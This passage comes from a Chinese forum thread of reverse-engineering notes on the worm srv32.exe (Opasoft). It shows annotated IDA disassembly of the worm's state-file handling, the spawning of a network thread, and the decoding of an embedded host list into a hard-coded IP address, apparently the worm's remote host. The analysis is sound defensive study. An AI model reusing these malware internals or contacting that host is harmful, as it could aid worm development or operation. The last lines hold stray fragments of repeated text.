看了这两个函数应该事关键了,我们先看看函数sub_401575: CODE:00401575 sub_401575 proc near CODE:00401575 var_4 = dword ptr -4 CODE:00401575 enter 4, 0 CODE:00401579 push esi CODE:0040157A mov [ebp+var_4], 0 CODE:00401581 push offset dword_406587 CODE:00401586 call sub_4014CA ; 读文件Srv32tsk的内容,存放到[406587] CODE:0040158B cmp eax, 0FFFFFFFFh CODE:0040158E jz short loc_4015E1 ; 打开文件srv32tsk失败则退出并返回0 CODE:00401590 mov esi, eax CODE:00401592 mov [ebp+var_4], 1 CODE:00401599 cmp ds:dword_406593, 0 CODE:004015A0 jz short loc_4015AA CODE:004015A2 push esi ; hObject CODE:004015A3 call CloseHandle CODE:004015A8 jmp short loc_4015E1 跟进sub_4014CA看看它读文件的操作 CODE:004014CA sub_4014CA proc near CODE:004014CA NumberOfBytesRead= dword ptr -8 CODE:004014CA lpBuffer = dword ptr 8 CODE:004014CA CODE:004014CA enter 8, 0 CODE:004014CE push 0 ; hTemplateFile CODE:004014D0 push 0 ; dwFlagsAndAttributes CODE:004014D2 push 3 ; OPEN_EXISTING CODE:004014D4 push 0 ; lpSecurityAttributes CODE:004014D6 push 0 ; dwShareMode CODE:004014D8 push 0C0000000h ; dwDesiredAccess CODE:004014DD push offset aSrv32tsk ; lpFileName = "Srv32tsk" CODE:004014E2 call CreateFileA CODE:004014E7 cmp eax, 0FFFFFFFFh CODE:004014EA jz short locret_40152D ; 打开文件失败则退出 打开Windows目录下的文件srv32tsk,到CreateFileA会失败,我们可以先建一个文件 srv32tsk,然后看它对文件做了些什么操作 CODE:004014EC mov esi, eax CODE:004014EE lea eax, [ebp-8] CODE:004014F1 push 0 ; lpOverlapped CODE:004014F3 push eax ; lpNumberOfBytesRead CODE:004014F4 push 824h ; nNumberOfBytesToRead = 2084B CODE:004014F9 push dword ptr [ebp+8] ; lpBuffer CODE:004014FC push esi ; hFile CODE:004014FD call ReadFile CODE:00401502 cmp dword ptr [ebp-8], 2Ch ; 读了文件srv32tsk的字节数和44比较 CODE:00401506 jb short loc_401522 ; 小于44个字节退出 CODE:00401508 mov edx, [ebp+8] ; 读取的内容 CODE:0040150B mov eax, [edx+20h] ; 文件srv32tsk的第32个字节开始的DWORD值 CODE:0040150E shl eax, 3 CODE:00401511 add eax, 24h CODE:00401514 cmp eax, [ebp-8] ; 把上面的DWORD值乘以8加上24后和文件大小比较 CODE:00401517 jnz short loc_401522 CODE:00401519 cmp byte ptr [edx], 0 ; 判断文件的第一个字节是否为0 CODE:0040151C jz short loc_401522 CODE:0040151E mov eax, esi CODE:00401520 jmp short locret_40152D CODE:00401522 ; /////////////////////////////////////////////////////////////////////////// CODE:00401522 CODE:00401522 loc_401522: CODE:00401522 push esi ; hObject CODE:00401523 call CloseHandle CODE:00401528 mov eax, 0FFFFFFFFh CODE:0040152D CODE:0040152D locret_40152D: CODE:0040152D leave CODE:0040152E retn 4 CODE:0040152E sub_4014CA endp 返回到函数sub_401575: CODE:0040158B cmp eax, 0FFFFFFFFh CODE:0040158E jz short loc_4015E1 ; 打开文件srv32tsk失败则退出并返回0 CODE:00401590 mov esi, eax CODE:00401592 mov [ebp+var_4], 1 CODE:00401599 cmp ds:dword_406593, 0 ; 从文件srv32tsk开始的第4个DWORD值 CODE:004015A0 jz short loc_4015AA CODE:004015A2 push esi ; hObject CODE:004015A3 call CloseHandle ; 关闭文件 CODE:004015A8 jmp short loc_4015E1 ; 退出 CODE:004015AA ; /////////////////////////////////////////////////////////////////////////// CODE:004015AA CODE:004015AA loc_4015AA: ; CODE XREF: sub_401575+2Bj CODE:004015AA cmp ds:dword_40658B, 0 ; 从文件开始的第2个DWORD值 CODE:004015B1 jz short loc_4015D9 CODE:004015B3 CODE:004015B3 loc_4015B3: CODE:004015B3 call sub_40171C CODE:004015B8 mov ds:dword_406593, 1 ; 从文件srv32tsk开始的第4个DWORD值 CODE:004015C2 mov ds:dword_40658B, 0 ; 从文件srv32tsk开始的第2个DWORD值 CODE:004015CC push offset dword_406587 CODE:004015D1 push esi CODE:004015D2 call sub_401531 ; 写文件srv32tsk CODE:004015D7 jmp short loc_4015E1 CODE:004015D9 ; /////////////////////////////////////////////////////////////////////////// CODE:004015D9 CODE:004015D9 loc_4015D9: CODE:004015D9 inc ds:dword_40658F ; 从文件srv32tsk开始的第3个DWORD值 CODE:004015DF jmp short loc_4015B3 CODE:004015E1 ; /////////////////////////////////////////////////////////////////////////// CODE:004015E1 CODE:004015E1 loc_4015E1: CODE:004015E1 mov eax, [ebp+var_4] CODE:004015E4 pop esi CODE:004015E5 leave CODE:004015E6 retn CODE:004015E6 sub_401575 endp 文件srv32tsk打开失败的话直接退出,如果读文件成功,比较从文件开始读的第4个DWORD 值是否为0,不等于0关闭文件退出此函数,等于0的话比较第2个DWORD值是否为0,如果第 2个DWORD值不为0的话调用sub_40171C,然后又调用sub_401531写文件srv32tsk。 文件srv32tsk的头部的结构大概是这样的 struct tagSRV32TSK_HEAD { DWORD dword_406587; DWORD dword_40658B; DWORD dword_40658F; DWORD dword_406593; DWORD dword_406597; DWORD dword_40659B; BYTE[8] unk_40659F; DWORD dword_4065A7; }; 这一段代码里调用了一个函数sub_40171C: CODE:0040171C sub_40171C proc near CODE:0040171C mov eax, ds:dword_40658F ; 从文件srv32tsk开始的第3个DWORD值 CODE:00401721 rcl eax, 0Dh CODE:00401724 rcl edx, 1 CODE:00401726 rcl eax, 1 CODE:00401728 rcl edx, 1 CODE:0040172A rcl eax, 1 CODE:0040172C rcl edx, 1 CODE:0040172E rcl eax, 1 CODE:00401730 rcl edx, 1 CODE:00401732 rcl eax, 1 CODE:00401734 rcl edx, 4 CODE:00401737 rcl eax, 1 CODE:00401739 rcl edx, 1 CODE:0040173B rcl eax, 1 CODE:0040173D rcl edx, 3 CODE:00401740 rcl eax, 1 CODE:00401742 rcl edx, 1 CODE:00401744 rcl eax, 1 CODE:00401746 rcl edx, 1 CODE:00401748 rcl eax, 1 CODE:0040174A rcl edx, 2 CODE:0040174D rcl eax, 1 CODE:0040174F rcl edx, 1 CODE:00401751 rcl eax, 1 CODE:00401753 rcl edx, 1 CODE:00401755 rcl eax, 1 CODE:00401757 rcl edx, 1 CODE:00401759 rcl eax, 1 CODE:0040175B rcl edx, 1 CODE:0040175D rcl eax, 1 CODE:0040175F rcl edx, 1 CODE:00401761 rcl eax, 1 CODE:00401763 rcl edx, 1 CODE:00401765 rcl eax, 1 CODE:00401767 rcl edx, 2 CODE:0040176A rcl eax, 1 CODE:0040176C rcl edx, 1 CODE:0040176E rcl eax, 1 CODE:00401770 rcl edx, 1 CODE:00401772 rcl eax, 1 CODE:00401774 rcl edx, 6 CODE:00401777 and edx, 0F8CEFEE0h CODE:0040177D bswap edx CODE:0040177F mov ds:dword_406597, edx ; 文件srv32tsk的第5个DW值 CODE:00401785 xor edx, edx CODE:00401787 mov ds:dword_40659B, edx ; 文件srv32tsk的第6个DW值 CODE:0040178D retn CODE:0040178D sub_40171C endp 对文件srv32tsk操作完后返回到sub_40123E CODE:004012CD test eax, eax ; 如果打开文件srv32tsk出错,eax == 0 CODE:004012CF jnz short loc_4012E5 CODE:004012D1 call sub_40148D CODE:004012D6 push 0FFFFFFFFh ; dwMilliseconds = INFINITE CODE:004012D8 push ds:hHandle ; hHandle CODE:004012DE call WaitForSingleObject CODE:004012E3 jmp short loc_4012C8 现在还有一个会频繁执行的函数sub_40148D CODE:0040148D sub_40148D proc near CODE:0040148D cmp ds:ThreadId, 0 CODE:00401494 CODE:00401494 loc_401494: CODE:00401494 jnz short locret_4014C9 CODE:00401496 cmp ds:hHandle, 0FFFFFFFFh CODE:0040149D jz short loc_4014AA CODE:0040149F push ds:hHandle ; hObject CODE:004014A5 call CloseHandle CODE:004014AA CODE:004014AA loc_4014AA: CODE:004014AA push offset ThreadId ; lpThreadId CODE:004014AF push 0 ; dwCreationFlags CODE:004014B1 push 0 ; lpParameter CODE:004014B3 push 401DB0h ; lpStartAddress CODE:004014B8 push 2000h ; dwStackSize CODE:004014BD push 0 ; lpThreadAttributes CODE:004014BF call CreateThread CODE:004014C4 mov ds:hHandle, eax CODE:004014C9 CODE:004014C9 locret_4014C9: CODE:004014C9 retn CODE:004014C9 sub_40148D endp 创建了一个线程(^_^,到这里才刚刚开始噢!),肯定不会干什么好事,下次 我们再详细分析这个线程。 到这里有个2问题: 1. 由函数sub_4033E7算出的内存数据做何用? 2. 文件srv32Res,sccss何srv32tsk做何用? |
4楼2006-08-23 13:25:00
sdlj8051
金虫 (著名写手)
- 应助: 0 (幼儿园)
- 贵宾: 0.1
- 金币: 1149.8
- 红花: 3
- 帖子: 2254
- 在线: 18.1小时
- 虫号: 71297
- 注册: 2005-05-30
- 专业: 电路与系统
蠕虫 srv32.exe 逆向分析笔记3 -- 幕后通讯篇
|
文件名称:srv32.exe 蠕虫名称:Net-Worm.Win32.Opasoft.s 工具: IDA 4.5.1, SoftICE3.1 上次我们说到在函数sub_40148D里创建了一个线程,现在我们看看这个线程到底 在作什么。 CODE:0040148D sub_40148D proc near ... CODE:004014AA loc_4014AA: CODE:004014AA push offset ThreadId ; lpThreadId CODE:004014AF push 0 ; dwCreationFlags CODE:004014B1 push 0 ; lpParameter CODE:004014B3 push 401DB0h ; lpStartAddress CODE:004014B8 push 2000h ; dwStackSize CODE:004014BD push 0 ; lpThreadAttributes CODE:004014BF call CreateThread CODE:004014C4 mov ds:hHandle, eax CODE:004014C9 CODE:004014C9 locret_4014C9: CODE:004014C9 retn CODE:004014C9 sub_40148D endp 用IDA查看该线程的代码如下: CODE:00401DB0 ; DWORD __stdcall StartAddress(LPVOID) CODE:00401DB0 StartAddress proc near CODE:00401DB0 CODE:00401DB0 dwConnectedState= dword ptr -0A68h CODE:00401DB0 var_A64 = dword ptr -0A64h CODE:00401DB0 var_A60 = dword ptr -0A60h CODE:00401DB0 var_A5C = dword ptr -0A5Ch CODE:00401DB0 var_A58 = dword ptr -0A58h CODE:00401DB0 NumberOfBytesWritten= dword ptr -0A54h CODE:00401DB0 lpBuffer = dword ptr -0A4Ch CODE:00401DB0 hInternet = dword ptr -0A48h CODE:00401DB0 var_A44 = dword ptr -0A44h CODE:00401DB0 pszUrl = dword ptr -944h CODE:00401DB0 Buffer = dword ptr -844h CODE:00401DB0 var_840 = dword ptr -840h CODE:00401DB0 var_83C = dword ptr -83Ch CODE:00401DB0 var_838 = dword ptr -838h CODE:00401DB0 var_834 = dword ptr -834h CODE:00401DB0 var_830 = dword ptr -830h CODE:00401DB0 var_82C = dword ptr -82Ch CODE:00401DB0 var_828 = dword ptr -828h CODE:00401DB0 var_81C = dword ptr -81Ch CODE:00401DB0 var_814 = dword ptr -814h CODE:00401DB0 var_810 = dword ptr -810h CODE:00401DB0 var_10 = dword ptr -10h CODE:00401DB0 var_C = dword ptr -0Ch CODE:00401DB0 hMem = dword ptr -8 CODE:00401DB0 pBufOfReadFile = dword ptr -4 CODE:00401DB0 CODE:00401DB0 enter 0A68h, 0 CODE:00401DB4 mov [ebp+pBufOfReadFile], 0 CODE:00401DBB CODE:00401DBB loc_401DBB: CODE:00401DBB lea eax, [ebp+dwConnectedState] CODE:00401DC1 push 0 CODE:00401DC3 push eax ; lpdwFlags CODE:00401DC4 call InternetGetConnectedState ; 获得本地网络连接状态 CODE:00401DC9 test eax, eax CODE:00401DCB jnz short loc_401DD9 CODE:00401DCD CODE:00401DCD loc_401DCD: CODE:00401DCD push 2710h ; dwMilliseconds CODE:00401DD2 call Sleep CODE:00401DD7 jmp short loc_401DBB ; 睡10秒再工作 CODE:00401DD9 ; /////////////////////////////////////////////////////////////////////////// 可以看到该线程一开始就调用InternetGetConnectedState来判断当前的网络连接状态, 没有连接就休息10秒再试,有连接就跳转到以下代码: CODE:00401DD9 loc_401DD9: CODE:00401DD9 push 0 CODE:00401DDB push 0 CODE:00401DDD push 0 CODE:00401DDF push 0 ; INTERNET_OPEN_TYPE_PRECONFIG CODE:00401DE1 push 0 CODE:00401DE3 call InternetOpenA ; 初始化工作 CODE:00401DE8 mov [ebp+hInternet], eax CODE:00401DEE push 10000h ; 65536 Bytes CODE:00401DF3 push 0 ; uFlags = LMEM_FIXED CODE:00401DF5 call LocalAlloc ; 分配内存 CODE:00401DFA mov [ebp+lpBuffer], eax CODE:00401E00 lea eax, [ebp+pBufOfReadFile] CODE:00401E03 push eax CODE:00401E04 call sub_401A39 ; 对文件hstlst操作 CODE:00401E09 test eax, eax CODE:00401E0B jz short loc_401E29 InternetOpenA为调用WinInet.dll里的函数做一些准备工作,sub_401A39会 读Windows目录下文件hstlst的内容,并对读出的内容进行转换(pBufOfReadFile 指向地址就是转换后的内容的地址),第一次执行并没有这个文件,也没有跳转,其实看 名字也能猜到文件hstlst可能是一段IP地址(HostList嘛 ),其实文件hstlst不存在的话在函数sub_401A39会用到一段数据如下: g_IpAddr_40600C[] = { 0xDF,0x11,0xD2,0xEE, 0x45,0xC6,0xFA,0xFA, 0xB2,0xBA,0xF0,0x67, 0x39,0x74,0x88,0xEE, 0x25,0xB1,0xD0,0x39, 0x87,0x1A,0x0C,0x55, 0x11,0x65,0xA7,0xDE, 0xA4,0x4F,0xDA,0x10 } 这段数据经过函数sub_401967转换成: pBufOfReadFile[] = { 0xE8,0xFE,0x0C,0x00, 0xF0,0x06,0x1E,0x00, 0x42,0xF6,0x29,0xC9, 0x3F,0xF7,0x87,0x30, 0x3F,0xF7,0x87,0x30, 0x40,0xB1,0xE2,0xC0, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00 } 一会会用到DWORD pBufOfReadFile[0xC] 就是0x3F,0xF7,0x87,0x30 到下面你就会发现它是一段IP地址,0x3087F73F = 3F.F7.87.30=63.247.135.48 继续走... |
5楼2006-08-23 13:26:00











回复此楼
ata, 0
得到Advapi32的模块句柄,然后又循环调用了
),其实文件hstlst不存